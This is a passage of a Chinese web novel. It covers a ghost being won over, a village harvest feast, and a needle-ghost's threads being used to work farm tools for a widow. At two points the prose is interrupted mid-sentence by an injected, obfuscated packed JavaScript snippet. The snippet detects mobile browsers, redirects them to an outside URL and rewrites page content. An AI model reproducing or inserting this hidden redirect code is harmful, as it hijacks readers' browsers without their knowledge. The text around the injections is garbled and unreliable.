汹涌的风暴渐弱了一些。瓶女被针女裹挟着,血红的眼睛在水光中微微怔愣。 显然,柳阿公视作掌上明珠的,不只是那幻境的妹妹,还有这个姐姐。 那些其乐融融的膝上玩乐,一口不舍得吃省来给小孩的糕点,蒲扇一样粗糙温暖的大手,瓶女都是感受过的。 如若瓶女没有半点触动,她也不可能让这幻境维持这么久。 瓶女喃喃:“你……你不怪我吗?我杀了你,我还骗了你,我不是你真正的孙女。” 柳阿公一铲子扬起一片沙,说:“怪你有什么用!人要过日子的,鬼也要过。” “哪怕是假的,也看着你长大这么多年了。我家囡囡的心性,小老儿还不清楚么?囡囡,你不是个恶鬼。” 你不是个恶鬼。 黎应晨想。 她看见柳阿公抱着小女孩,那发自内心的幸福与自豪,心里便清楚了。 邪祟初回人世,被憎恨与怨愤蒙蔽双眼,极度痛苦,无差别的残害一切生灵。瓶女泄愤一样地将柳阿公的尸体戳的孔孔洞洞,一如当年的棉花娃娃。这是本能,不可对抗。 但是,在幻境的深处,瓶女还是留着这么一个小院——院子里有慈祥温柔的爷爷,有快乐天真的妹妹,有满天漂亮的繁星和秋叶,有她曾经那么向往,求而不得的一切东西。 没有人生来就愤世嫉俗,想要毁灭一切。 只要有活路,大家都想活下去。 那就凿一个生门,开一条活路出来! 风暴彻底停止了。 散落的沙堆之中,一条通天大道向生门,一直延伸向日出的方向。头顶繁星渐隐,晨光熹微。 菱铃镯的时限到了。铃声停止。针女和吊树影的动作停止。柳阿公扔掉铲子,呼哧呼哧地喘着气。 瓶女怔怔地看着面前的一切。 黎应晨关掉【小孩的沙堡】,视野恢复了正常的高度。她和大家走在一起,看到了漫山遍野金黄色的麦田。鲜红的朝阳自麦田的尽头升起,光芒洒落,朝霞灿然。 生门已开。 系统的提问再一次响起来:【——在占卜结束之后,她最终走向了哪一门?】 “生门。”黎应晨说,“我造的。” 这就是最终,最终的门。 直至此刻,绝无二意。由她亲手创造出来的,一定正确的答案。 最终章,停在生门前。 系统欢快的塑料音乐又一次响起来。她答对了。在收服成功的提示音中,黎应晨微微偏头,看向瓶女。朝阳打亮她颊侧的碎发,如同镀上一层金边,熠熠生辉。 “现在,我们可以详细聊一聊,讲讲怎么救孤救苦,怎么带大家一起走生路了。” “走吧,你妹妹在等你。” 14. 大宴 “黎小姐回来了!” “黎小姐回来了!她们还活着!那旁边的是邪祟吗?” “啊哟,真的回来了……菩萨保佑菩萨保佑……” “瞎说什么!黎小姐本来就是仙人,哪用菩萨保佑!” 黎应晨刚一走出生门,就听到村口边鼎沸的人声。她站在金黄色的麦浪里,遥遥地向村口挥手。 “邪祟解决啦!”她笑着说,“明天可以来地里抢收了。” 村人们爆发出一阵翻天的欢呼声。 他们蜂拥而来,裹住了黎应晨,将她架在头顶,欢呼雀跃。黎应晨哈哈笑着,任由他们七嘴八舌的喝彩,欢腾,那是对生的渴望和欢喜。 “太好了…太好了!有粮食吃了!” “可算是能干活了啊!大郎,快去通知你爹,来地里收麦子了,现在就去!” “谢谢黎小姐!谢谢黎小姐!” “起来了你,夭寿的,黎小姐不喜欢跪!” “我这是捡穗子,说什么呢你!” 趴在地上的年轻农人怒骂, “这是我家地!踩就踩了,穗子都不让我捡,过分了啊!” 众人哄堂大笑。 黎应晨赶紧笑着下来,把大家带离这片倒霉的田地,嘱咐这个农夫晚上来白家找她拿补偿。没想到农夫大笑着连连摆手,坚决不收:“黎小姐对我们有再造之恩,要是没有您,这多少田也得荒了,还找您拿补偿,我成什么人了!” 黎应晨本来想着客套两句,却还是推让不过,只得认了。 村长婆婆年纪大了,闹腾不动,被林济海半抱半扶,站在人群后头,笑眯眯地看着这一切。朝阳照耀着老人温和的笑容,岁月的褶皱也变得柔和。 她说:“谢谢啦,黎小姐。” 又说:“你在吧?” 在黎应晨身后,白衣女子的身影从空气中淡出。她与婆婆对视。一个年事已高,一个久别人世,彼此的目光越过金黄的麦浪,照亮了几十年停滞的时光。 瓶女连苦捂住脸,微微点头。 婆婆微笑:“姐姐,你可把我骗苦啦。” 连苦最终还是没能忍住,眼泪夺眶而出。 趁现在还不晚,一起回家吧。 人们计划在晚上摆一场规模超大的宴席,全村人一同庆贺。庆贺秋收,也庆贺黎应晨的到来本身。家家户户从箱底里搬出省下的粮食,张罗着杀猪宰鸡,空气中充满了热络又忙碌的喧闹声。 在家里关了许久的孩童们可算是放出了院门,争抢着在半道嬉戏。白凝春因为带回了黎应晨而成为了村里的小功臣,被大人们戴上了鲜红的纸花和头绳。此刻正意气风发,举着一根麦穗,带着孩子们在村子里到处跑。冲天的欢声顺风传出去,黎应晨顺道听了一耳朵,发现她们在玩过家家,白凝春扮的是女帝,正在征伐四方。 黎应晨汗颜:“这丫头比我还有野心。” 白莹笑着给她倒杯水:“小丫头无法无天的,让您见笑了。” “这样才是村里该有的动静嘛。”黎应晨嚼着糕点吐槽,“之前那个样子,我刚来的时候还怀疑过这是不是鬼村,怕中了邪祟的奸计呢。” 白莹笑:“这都是您的功劳呀。” 邪祟盘踞于村庄周围,家家户户闭门不出,白幡飞扬,生怕某天会毫无预兆的死于非命。把好端端的村子活成了鬼村。 谁想过这样的日子呢?只是没办法罢了。白家、柳家这等被救了至亲之人的门户不必说,自是当黎应晨是家家族最大的恩人;此外,在广大普通村人心里,说是黎应晨给了自己新生,也都一点也不为过。大家都把这个弥天大恩记在心里,预备着什么时候报偿呢。 晚些时候,黎应晨去柳家走了一趟,唤醒了柳阿公。 柳阿公被针女缝的与正常人无异,因有邪祟保鲜,也没有什么腐败。小老头迷迷瞪瞪地从棺材里爬起来,还没坐稳,就被旁边的两个儿子抱了上来,冲的差点躺回棺材里。孩子们抱着他哭的昏天黑地,柳阿公却没有什么实感,好像做了一场弥天大梦,十年虚假而幸福的光阴流过,最后还是回到小院里。 他抱着孩子们四处张望,最终在门口找到了黎应晨,笑着对黎应晨作了作揖。 那一句跟我走吧,远来的客,终究是把他接回了家。 黎应晨也微笑着冲他点点头,没去打扰他们。 她抽空看了一眼邪祟志,柳阿公尸体的档案已经解码: 【[家] 巢】[[瓶女]附属条目-影响物A01] [瓶女]所筑成的巢穴。 安放着尚在[温馨]的[家]。在不知不觉间,[瓶女的家]正与巢穴融为一体。 三天后,就会挣脱血肉的束缚,降临世间。 真是奇妙的大自然啊! 原来诞生的不是某个邪祟幼崽,而是瓶女的家啊。 这一整个家降临世间之后,黑凤村会变成什么样子呢? ……嗯,有些事情还是不要多想为好。 瓶女连苦留在了村长婆婆家。 连苦没有恢复身在瓶中的样子,宛如一个传统幽魂一般,身形半透明,飘在天地之间。她成了妹妹的腿,抱着村长婆婆在村中自由行走。姐妹之间阴阳相隔半个多世纪,自有说不完的话,讲不完的往事与情愫。 那些积年的爱恨堆在心灵深处,终有一日得见天光。 人们常常能看到村长婆婆抱着年轻的姐姐笑得乐呵呵的,连苦却经常低下头,用衣袖拭去眼泪。 起初,黎应晨怕留下隐恨给自己埋雷,还与村长婆婆聊过天。黎应晨旁敲侧击地暗示她,当年也许是连苦劝姜班主将她们做成瓶女的,问她是否后悔,是否有恨。但村长婆婆看起来并不意外,笑眯眯地啜饮一口茶,避而不答,只是说:“都过去啦。” 都过去了。 在往事的话题上,历经世间几十年的老人,总是比邪祟要看开一些。 黎应晨没有将邪祟们收起来。看时机成熟,她兑现了自己的诺言,把针女姜堰和吊树影姜孝放出系统背包,让他们在村子里自行生活。林济海给吊树影收拾了房间,恭请他住进寒舍,吊树影还在考虑。而姜堰则说什么也不肯离开黎应晨,就在黎应晨的房间里加了张床。 在众人喜气洋洋的喧闹声后头,吊树影双手拢在袖子里,问黎应晨:“瓶女怨力深厚,那柳家的小老儿也能做些端茶倒水的活计。主公不把他们调回身边驱使么?” 黎应晨偏头笑道:“不必担心,也不用试探我。邪祟有邪祟的日子过,去过就得了。我需要的时候自会叫你们。” “我把你们复活一次,不是为了让你们做我的家犬的。” 吊树影不言,伏身一礼。 没过多久,他就答应了林济海的请求,离开了白家。 ……只是几天后又听说吊树影压根不睡床,每日只是吊在房梁上,林济海每次起夜都吓得小脸煞白,那就是后话了。 姜堰社恐有些严重,哪怕不回系统,也一直缩在黎应晨后头。但大家可没那么容易放过姜堰。几个妇人少女聚在一起,推推搡搡,推出一个白莹来,大着胆子笑问姜堰,愿不愿意来教教她们绣花纺布。 黎应晨这才知道,姜堰给自己裙子上补的那枝白梅,用的是一种失传已久的高深绣法,细致漂亮,栩栩如生,让这些绣女们眼馋已久了。姑娘媳妇们都嘴甜,众口交赞着,一口一个大师,簇拥着针女离去了。 黎应晨瞥见她不知所措地翘起的嘴角。 哎呀。黎应晨笑眯眯地摸摸下巴,看来之后大家都有好衣服穿咯。 晚些时候,等到天色微昏,大宴开了,黎应晨才知道自己救了柳阿公是个多么正确的决定。 原因无他,那个高大威猛,却只会缩在哥哥身后哭的站不起身的柳家二郎柳武,竟然是村里手艺最好的大厨。邪祟爆发之前,十里八乡的婚丧嫁娶,都是请他去做的。有他掌勺,宴席的质量可提高了不止一两个档次。 脸和脖子一样粗的猛汉嘿嘿地挠着头,把头碗蒸肉端给黎应晨座前,代表哥哥父亲来敬酒。酒都是自家酿的最好的酒,清澈透亮,此番全拿了出来供给村宴,自有资格敬这一杯开席酒。众人都等着他说点什么,他端着酒杯,憋吭憋吭半天,憋的自己脸色通红,最终憋出两句高论:“恩人吃,好吃。” 众人哄堂大笑。哥哥柳承气得在后面踹了他一脚,笑骂:“肚里没个二两墨水的东西!” 黎应晨大笑起来,将杯中的黄酒一饮而尽。 生津解渴,清香扑鼻,当是美酒。 宴席上自有快活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157318|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杂耍歌舞。村都是熟人,开席没那么讲究,也没什么戏子下九流的说法,人人有才的上去展才,有艺的上去献艺,敲锣打鼓,舞狮杂耍,什么都有。说水平多高自然谈不上,但是胜在热闹。 让黎应晨意外的是,酒过三巡,姜堰也没忍住,上去清唱了一曲山歌。 喉清韵雅,玉润珠圆,堪称开嗓跪的典范,大伙听得如痴如醉,心旷神怡。 就是不知为何歌声总是阴气森森的,听起来非常清凉解暑…… 害,倒也正常。 柳武心性对不太起他的大个子,手艺却是杠杠的。八珍饭做的软糯香甜,蒸碗晶莹剔透,肥而不腻,烧肉红润润的浸在酱里,并了鱼、肉、虾一起抬出来,让人香掉了舌头去。这鱼虾还是黎应晨下午带着孩子们去河里现捞的。正是肥美的时节,一个个扔进锅里的时候还在蹦跶,鲜的真是完全没话说。白凝春呼噜呼噜喝了三大碗鱼汤,大呼过瘾。 黎应晨意外地发现,每一桌上先吃完的都是烧鱼和虾。 林济海注意到她的目光,笑着解释:“邪祟降临之后大家都不敢出村,已经好久没有鱼获河鲜了。多亏了您来,否则我们几年也吃不上这一口。凝春这个年纪更是,恐怕记忆里压根没什么鱼虾的味道。” “这有什么。”黎应晨夹了一块柔软嫩滑的红烧鱼腹,笑着一扬手,“以后常吃!” 说来是这个道理啊。她在心里暗暗盘算。自己在时,村里人生活有保障,也安全,也能生产。但是日后万一自己有事暂离,或者出了什么不测,大伙可怎么办啊?他们连自己去溪边叉个鱼都无能为力。 得想个办法,让村人们自己就能保护自己。 不过这都是之后的事了!仅限今晚,享受就行了。 黎应晨快快乐乐地把这回事丢到脑后,听起曲儿来。 欢歌,篝火,彻夜舞蹈,喧腾的人烟气随着飘摇的炊火直上云霄。 众生各有所乐,努力生活,这才是人间嘛。 ====== 众人一路闹到深夜,宴席才渐渐散场。黎应晨这种人来疯,自然是和大家一起划拳喝酒,热络游戏,直到最后一刻才拖着醉步姗姗回屋。 白莹和白凝春早就歇下了,却给她留了盏油灯。白莹的心细总是体现在这种地方。 姜堰不需要睡觉,却也早回了屋。黎应晨把自己砸在床榻上,她就拖着黎应晨起来,伺候她洗漱完了,才将她放回床上。黎应晨醉猫似的攀着她的肩膀嘀嘀咕咕:“你又不睡觉,回来这么早干嘛,是不是不适应……” 姜堰笑着拍拍她:“怎么会,白嫂子她们人很好……就是,嗯,人太多了,吵闹久了些。” 黎应晨“啊哈”一声:“我知道!I人在社交过后需要独处恢复能量!” 姜堰哭笑不得:“你又说让人听不懂的话了。” 但是没毛病,就是这样。 日子要过,也总要回家的! 自然没人来扰黎应晨清梦,她昏昏沉沉,睡到第二天日上三竿才起,都快吃晌午饭了。姜堰给她打来水,她穿着里衣,打着哈欠去梳洗,洗到一半却清醒了点:“嗯?” “怎么了?”姜堰拿着毛巾,歪头看她。 “村里怎么这么安静啊?”黎应晨接过毛巾,擦擦脸,把毛巾捂在脸上,只露出眨巴眨巴的眼睛,“大伙人呢?孩子们呢?” “……”姜堰无语一瞬,弹她一个脑瓜崩。 “痛!”黎应晨捂住脑袋。 ——是真的痛啊!姐!你身上有针啦! “只有这时候能看出来你是大户人家的小姐。”姜堰笑着给她揉一揉额头,“现下正是农忙的时候,大家庆贺完了,自然是去抢收啦。人都在地里呢。” 农家人辛勤,会走路就能帮持,哪怕是白凝春这么大的小孩,也是要干农活的。 自知米虫的黎应晨哼唧哼唧,走出门去,正好撞见白莹端着晌午饭出来。正是秋收的好时候,她却面容憔悴,看起来并不怎么高兴。见了黎应晨,才挤出一个笑脸。 “黎小姐醒啦,来吃饭吧?” 黎应晨问:“怎么了这是?出什么事了?” 话刚一出口,她就反应过来了,心里咯噔一下。 是了。自己怎么忘了这么重要的事情。 15. 秋收 ——秋收之前,白凝春的父亲带着一群村人去寻访传说中的昆仑宫谋求生路,至今未归。基本可以看做不在人世了。 白凝春年纪尚小,白莹身体很差,这一对母女根本没有抢收的能力。 黎应晨吃过了饭,坐在床前发呆。她的脑袋里突然闪过了连苦跟村长回去时那意味深长的最后一眼,那是观察的目光。 光把话说的好听是没有用的。你说要救孤女,你准备怎么救? 黎应晨给了村子一条活路,可这世道会给村子里最无力的女子们一条活路吗? 如果黎应晨出面,很快就可以找到人来帮白莹母女。 但是其它人呢?她走了之后呢? 在这样的封闭村落里,不管有什么手艺,所有家庭都不能离开田地谋生计。而在农田为基础的环境下,孤女们用以劳作的体力是比较有限的。健壮的女子或许不弱于男子,但是当年的瓶女姐妹和白莹等人显然不在此列。她们不得不依靠宗族帮助来活下去,也就会被宗族欺压。农耕社会的底层女子被欺辱,被吃绝户,其根源就在此处。 没有生产力,就是要看人脸色。 黎应晨可以解决那些图谋不轨的坏人,却没法让农活儿变得老少咸宜。 黎应晨趴在窗棂上,看着白莹在前屋纺布。 白莹一直靠着纺线刺绣缝补衣物来补贴家用,十指纤细修长,绕线灵活流畅。她一边同针女讲话,一边轻巧地一绕手指,织布机的结构一转。姜堰在旁边,一手帮她拿着一卷线,两人正在说笑。 “哎,等等!”黎应晨撑着窗台,灵光一现。 白莹被她吓了一跳。 “姜堰姐姐。”黎应晨回屋翻找了半天,从床头角刨出一个小木块来,丢给姜堰,“接住!” 姜堰两手都占着,没有一点放下的意思,甚至头也不回。一根长针嚓的一声现出来,快到任何人都未看清,闪电一般贯穿了小木块。 针扎着木块漂浮在空中,向旁边挪了一寸,露出姜堰的脸来。 “怎么?”姜堰微微偏头。 “你果然有这个本事。”黎应晨跑上去,戳戳小木块。 之前看针女战斗的时候,她就意识到了。 针女手持单针战斗,此针有见血封喉的放血功效。 当单针不太方便的时候,她也就不再收力,所有针线从旁侧探出,隔空操纵,暴雨一样细细密密地冲刺而去。其雨丝如瀑,力道甚至可以贯穿连苦的流星。 刺进人类的血肉骨骼中,估计会像是热刀切黄油一样,毫无阻力。 被这样手段所杀的人,应当会死的像筛子一样,全身布满密密麻麻的出血点。 真是可怕的怪谈啊。 不管再怎么温和,针女也是个强大的邪祟。 白莹稍微打了个抖。但是黎应晨面无惧色,捡到宝一样问:“这是不是也意味着,你能完全控制你的针和线?这个范围最远是多远,你算过吗?” 姜堰的回答出乎黎应晨的意料:“没有范围。” 黎应晨:“哎?!” 姜堰的身后升起了几十上百根针。她声音非常平静:“你完全不明白‘撞邪’是什么意思啊。” 白莹捂住胸口,可算把那扑通乱跳的心脏压下去了。她长出一口气,苦笑着揉揉黎应晨的头。 “黎小姐到底还是小仙人呢。” “撞邪这么可怕,就是因为这并不只是一时间偶然遇到的事情。邪祟会一直持续追杀,索你的命。凡人是永远躲不过去的,天涯海角也无用。床下、衣柜里、家中、街道上…都能找到邪祟的迹象,比如黑发与血迹,比如姜小姐的针。每一天,每一日,每一处…邪祟如影随形,无孔不入。只要碰到了邪祟,哪怕当下逃跑了,之后人生也会被邪祟的阴影笼罩,在恐惧中度过短暂的余生……” 除非请仙人来诛邪除祟,将这个邪祟杀得魂飞魄散。白莹心思细腻,顾及姜堰在旁边,并没有直说出来。只是轻叹。 “每一个被邪祟盯上而侥幸逃脱过的人,最后身死的时候,表情都是扭曲而解脱的。” 因为这暗无天日的无尽折磨终于结束了。 姜堰低下头:“对于我们来说,这也很可怕。邪祟会对这个目标产生刻骨铭心的怨恨。那种椎心泣血的怨忿和痛苦,并不是什么好滋味……等等,你这是什么表情?” 姜堰和白莹愕然。 这么恐怖的事情,这孩子怎么越听眼睛越亮呢? “这也太强了吧!”黎应晨无比激动,“这……这!没有界限,没有范围,不会疲惫,本人也不需要到场,只要你的意识存在,你就可以操纵你的针吗!” “嗯……嗯?理论上来说是这样。”姜堰摸不着头脑,“你不是也用过吊树影的绳子吗?” ……虽然把这么晦气的东西栓自己腰上,这种用法很奇怪就是了。 “好厉害!!”黎应晨欢呼,抛出了今天的第二个炸弹:“你能去耕田吗?” 姜堰:“………?” 白莹:“………” 白莹尖叫附体:“啊??????” “不是让你亲自去啊!” 黎应晨兴致勃勃地跑出房门,窜得很快,眨眼间就变成了道路尽头的一个小黑点,留下一句遥遥的呼喊: “等着啊!等着!” 房间里,姜堰和白莹面面相觑。 半晌,齐声叹了一口气。 小仙人总是想一出是一出的! 黎应晨边走边问,问了一溜老弱病残,最终从田间地头把村里的铁匠拖出来了。 在商品经济不发达的小村落,这些手艺人农忙时都是要下田劳作的,农闲时才会做东西贴补家用。铁匠一脸蒙圈地被黎应晨从田里拉上来,不知道为什么被仙人翻牌了,还有点惶恐:“黎小姐,真的真的不用补偿!” 黎应晨定睛一看,居然正是昨天那个捡麦穗被人怼的倒霉老哥。 “你是铁匠?”黎应晨看着他有些瘦削的体型,回头暗自嘀咕:“看着也不像啊…” “怎么这样说!”铁匠鲁望顿时悲愤道,气得直接一拉上衣,“尘民抡锤淬火什么也干得!还是跟城里刘家铺子学的手艺呢!!” 周围干活的人哄笑。黎应晨看到了瘦削而精壮的肱二头肌,汗颜着按住他的手: “好了好了,知道了知道了,对不住对不住,拉上拉上……” “我想要订做一把锄头和镰刀、耙犁……还有什么来着……算了,反正要一整套农具,但是只要头部,不要木柄,你能做到吗?” 鲁望“害”一声:“何须订做,黎小姐说一声,我自给黎小姐送去!也用不着现做,我房里有套多的,把木柄卸下来就好,” 黎应晨乐:“那就太感谢了!不过还是要记在账上,我回头有了钱粮来还你。” 鲁望托旁边人照看一下,立马扔下农活儿回家鼓捣好了,给黎应晨送了去,再回田里不提。黎应晨抱回院子里,叮咣撒了一地,对着一脸蒙圈的针女说:“你试着用针把它们拎起来试试?” 针女姜堰没懂她什么意思,但是乖乖照做。几根针毫无障碍地扑簌插进了铁制农具里,提了起来。 从外面看,就好像这些农具一起悬空飞起来一样。 “来,试着做几个动作。” 黎应晨学着农人松土,收割的动作,让针女模拟一下。 白莹醍醐灌顶:“这……” 姜堰照做了。精准度在线,也非常有力。模拟收割的时候手需要把住麦穗,她用野草做模拟,抽一根针出来,随手一绕,就把麦穗固定住了。嚓一声割断。 速度比手工割麦要快的多。 “帅!”黎应晨欢呼。 “……”姜堰哭笑不得,和白莹对视一眼。 这可是杀人技啊! 谁家好鬼用杀人的手法割农作物啊! 但你别说,还挺好使。 “行,那我回头去田里帮白莹把麦子收掉。” 姜堰无奈笑笑,笑容里全是宠溺和纵容,咋办呢,自己家主人自己惯着呗。她盘算一下天时,说: “就明天吧。时节正好,要抢收了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157319|138574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎应晨却说:“不。” “什么?”姜堰一愣。 “你能帮她一次,还能帮她多少次?”黎应晨说。 白莹目光微微低垂。 “先别想你男人了。”黎应晨说。白莹悚然一惊,黎应晨却赶紧赔笑着作揖:“抱歉白姐姐,我没那意思。白哥洪福齐天,一定没事。但是离开了他,你自己也能行。来,试试看——姜堰姐,悬着针别动,把你的线递给她。” 白莹一下蒙了。 姜堰瞬间明白了黎应晨的意思:“你是说……!” 姜堰明白了怎么回事,也有些激动起来。她直接在针尾留了一长节,然后切断了细线根部,把断线递给白莹:“来,阿莹,你试一试!” 反正都是怨力操纵,这物理上的线也不需要一直连着姜堰本体。 这都阿莹了?黎应晨微微挑眉。这才几天啊,这一人一鬼关系什么时候变得这么好了? 白莹有些战战兢兢地接过了姜堰手上染着血的细线。 理智告诉她,最好别想这些血是怎么来的。 好像操作木偶一样,她小心翼翼地拎起了锄头,送了松土。 嚓,嚓。 不用弯腰,不用低头,不用费力气,只需要动动手指,不能更舒坦。虽然还不算熟悉,但是都是农家长大的孩子,很快就能理解这东西熟练之后会有多高的效率。 白莹被这天降的大好事砸了,一时之间不可置信,喜的有些懵圈。 “那,那这样,岂不是……” “对!你们再也不用靠别人了。”姜堰兴致勃勃地补充,“这针也不需要靠我控制。不肖我时刻盯着,我也可以在针上留下一些下意识反应。比如丝线长按则向前飞一寸,抖两下则顺着刀刃的方向施一次力等等,这样你也不用一直站在地里拎着它们,坐在树荫下看就行。” 白莹也逐渐激动起来:“我,我会一点木偶戏!以前在庙会上学过。稍等下!” 白莹跑回屋里,拿了一个木棍与木圈拼成的机扩来。这机扩单手操控,可以拎七八根丝线,各有长短,各有用力的技巧。 白莹和姜堰就此聚在一起,紧凑地商量起了如何制定信号,需要哪些信号更加顺手。除了之前白凝春出走那一次,白莹一向以沉稳安静著称,此刻却激动地嘴角都压不住,拼命演示、尝试,就差手舞足蹈了。 没有人想成为别人的陪衬! 白莹看起来柔弱安静,只是因为病体缠身。谁心里没有一团火呢? 明明这理论上不关姜堰的事情,姜堰却也聊得眉飞色舞,开心的不得了。黎应晨笑眯眯地看着她们,感觉看到了这个世界女子共通心境的一角。 她们这边讨论的如火如荼,黎应晨微笑着点头点头,点到一半却突然顿住了:“咦?” 等等,这…… 某种意义上来说,这不就是手柄吗!她眼前一亮。虽然还比较原始,这机扩本身黎应晨自己也不会用,但是她完全可以订做一个手柄,再来和针女商量自己这边的信号如何。 黎应晨自己四体不勤五谷不分,不爱运动也不打架,却是个彻头彻尾的游戏宅。而且最钟爱硬核主机游戏。什么黑暗○魂,艾尔登○环,饥○与恐惧,她都是半个成就也不放过的白金选手,很多Boss都是初见一命过,甚至还参加过速通比赛,技术相当过硬。 给她一个手柄,她再也不用考虑什么“自己的战斗力”的问题,直接对某个邪祟进行操作,人挡杀人佛挡杀佛! ……好吧,“杀佛”实在是太狂妄了点。但是绝对是不会拉胯的。 “果然送人玫瑰手留余香啊,我靠!”黎应晨狂拍大腿。 她这边突然发疯,引得一人一鬼都往这边看了一眼。 黎应晨尴尬地咳嗽两声,却是突然想到了什么,正色起来。 与手柄无关,有件事情必须要说清楚。 “白姐姐,这东西自是给你用的,但你要答应我一个条件。”她正色道。 “什么?” 看她脸色这么严肃,白莹也紧张了起来。 16. 麦穗 “这农具不白给你用,我是要抽成的。用这东西耕种,每年年末秋收之后,当给我收成的一成做报酬。” 黎应晨又拍拍针女,比了个拇指: “钱粮收上来之后,咱俩五五开。” 白莹松了口气,却笑:“你这是说什么话!你想要多少,拿多少去就是了。” 姜堰也道:“我要人间钱粮有什么用?” 黎应晨却很严肃地摇摇头:“合作之前算明白账,这是必需要做的事情。姜堰你也收着。村中没什么市集,以后若有机会认识更多人,你有什么想玩想用的,总得有钱买才是。” 日后这样的合作,不知道要持续几十年,不知道会有多少起。说不定几百上千起也有得。她不打算当稀里糊涂白干活的慈善家,也不打算当压迫邪祟的人上人。 账目糊涂的生意都做不长久,用情感维系的利益关系永远有风险。 黎应晨不打算当被人供起来的神仙。饥荒年岁,庙里的泥木偶像活不了多久,就会被砸的碎碎的,回家烧火。 她要做个生意人。 就在这个秋收,在黑凤村的一间泥木小屋中,黎应晨签下了第一张祟物的租借契约。 她们之中没有一个人能想象的到,这薄薄的一张纸意味着什么。 秋衡雁过,漫山遍野金色的麦田随风摇曳。晚饭熟了,炊烟袅袅,模糊的麦香味随着长风直上九天。一天的劳作已经结束,顺着秋日晚间的夕阳,遥远地传来农人的欢笑与絮语。 后世有无数人慕名而来,只为窥见当年风云翻涌的一角,站在小木桌前,揣度当年的救世主有着怎样深远的谋略,才能在日月无光的人间地狱中,带领人类找到全新的生路。 但在这一刻,黎应晨只是快快乐乐地想着:以后有钱了! 可以买买买了!可以去找别人换东西了! 卖东西还要什么动机,赚钱买买买这个动机不够强烈吗?我就是为了赚钱来的耶,不然呢.jpg 第二天清晨,白莹背着插针的镰刀,站在田垄之间。 为了以防万一,姜堰和黎应晨也在树荫下站着,方便及时调整。她们正在商讨之时,只听见旁边传来一声吆喝: “白家妹子,你来这里做什么,仔细晒昏了头!” 黎应晨偏头去看,是一个精壮的庄稼汉,好玩似的笑着,看着这边。白凝春皱着眉,打算喊回去,被白莹拦住,微微摇头,制止了。 “何须和他一般见识。我们做我们的。” 白凝春气得跺脚,见黎应晨一脸不解,小声说:“那是李家的叔叔。那家伙在我爹出村之后,就一直来找娘亲谈闲天,娘亲不想见他他也来,烦得很!” …… 黎应晨默不作声地皱皱眉,看向那边。 小孩子不懂事,只觉得烦人,黎应晨还看不出来这男人抱着什么心思吗?她与姜堰对视一眼,看到彼此紧锁的眉头。 “你莫不是打算自己耕田吧?”那李大哥如此吆喝道,带着也一些理所当然、看笑话一般的笑声:“抢收忙,你找我问得一声不就得了?你哪里干得来这种活儿,哥哥帮你便是!” 白家母女无力秋收,是村里人尽皆知的。如黎应晨一般,早想帮忙早来了。现在说这风凉话,显然就是故意的,等着白莹去求他,说不得打算提什么腌臜条件。 这声音看似并无恶意,却带着一股令人作呕的蔑视感。 这就是那么多女人痛苦的根源。黎应晨合着眼想。 被觊觎,被侮辱,被蔑视。他们不需要迫害你,只需要站在那里等就好了。黎应晨不出现,白莹哭干了眼泪,自然会去找他。因为她还有个小女儿要养。她甚至还要庆幸自己尚有能换口粮食的价值。 这个世道就不给女人活路。 庄稼汉老李不算大奸大恶之徒,甚至很难说是坏人。若是真有十恶不赦之徒欺压强迫白莹,他说不定还会为白莹说几句轻飘飘的好话。平日里,他就只是抱着手,笑眯眯地看着白莹的笑话,把她的挣扎和努力当做茶余饭后的闲谈,笑一声不自量力。这世界不觉得他有任何问题,他自己也不觉得自己有任何问题。 既得利益者的姿态罢了。 黎应晨是村人眼中的仙人。如果黎应晨想,瞪一眼就能让这个货色闭嘴。甚至于哪怕是想杀了他,都只需要动动手指。 但是她不打算这么干。 这个脸,她就要白莹自己来打! 白凝春年纪尚小,不懂世间复杂,也不明白这些拧巴的道理,只有一腔淳朴的愤怒:“你是谁哥哥!哪里要你多嘴!我这就去撕了你!” 这次是黎应晨伸手拦下了这个可爱的小姑娘。 无它。这些压着她们母女的东西,不是他一个人,而是一座庞然的大山。这样的山,用朴素的愤怒是撕不烂的。 这世上有多少老李呢?他们又没有做什么伤天害理之事,你能杀了他不成?就算杀了,能杀尽不成? 白莹吸一口气,手指拢着那机扩微动。一根针绕上麦穗,另两根针悬着镰刀,向中间一聚拢—— 嚓! 第一把成熟的麦穗倒下了。 “能成。” 白莹双眼放光。她昨晚已然演练了很多次,很快就上了手。 在那飘然的十指之间,麦穗一茬一茬地倒下。 一开始白莹手生,速度还比较慢。半个时辰过后,已然熟练了。一茬一茬地麦穗以惊人的速度倒下,一点不亚于熟练工。 还能继续! 而且只是动动手指,她一点儿也不累!白莹确实体虚,往常并不下田,就算干些杂活儿,最多半晌也就累的直喘了。但是这样轻松的收割活动,白莹能干整天整夜,完全没问题! 白莹那边割着,白凝春就拿了铲子来,将割来的麦穗铲到一堆,铲进背篓。母女合作,速度竟然比两个壮年男子还要快了些。 那边老李干了半天,没能等到白莹求助,也没等到喊苦喊累的声音。回头一看,两把镰刀竟然在自己上下翻飞,稳准狠的赶着活儿!顿时大惊失色,吓得一屁股坐在麦田里: “这……这是什么!” 他这一嗓子喊出来,田里其他干活的人也注意到了。 附近干活的人奔走相告,一个个都来看这新奇的收割景象。 “这……这是什么东西,是邪术吗?” 老李尚有些不甘心,战战兢兢地喃喃。 怎么回事!两个孤苦女子,怎么能 旁边立马有人来,一把打上他的嘴: 